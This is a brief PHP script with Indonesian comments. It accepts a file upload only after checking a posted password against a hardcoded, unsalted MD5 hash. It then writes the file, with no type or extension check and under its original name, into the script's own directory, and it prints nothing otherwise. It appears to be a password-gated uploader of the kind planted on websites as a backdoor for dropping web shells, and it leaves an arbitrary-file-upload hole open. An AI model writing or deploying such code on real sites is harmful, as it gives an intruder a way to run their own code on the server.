if (isset($_POST['Submit'])) {
$filedir = ""; // Direktori tujuan upload
$maxfile = 2000000; // Batas maksimal ukuran file (dalam byte)
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
$password = $_POST['password'];
// Hash MD5 dari password yang valid (contoh: 'mypassword')
$valid_hashed_password = 'bd31dc0be927f6841e6e193aafd54017';
// Hash input user
$hashed_password = md5($password);
if ($hashed_password === $valid_hashed_password) {
if (!empty($userfile_name)) {
$target = $filedir . basename($userfile_name);
if (move_uploaded_file($userfile_tmp, $target)) {
echo "Upload sukses: $userfile_name";
} else {
echo "Gagal memindahkan file!";
}
} else {
echo "Tidak ada file dipilih.";
}
} else {
echo "Password salah!";
}
} else {
echo '';
}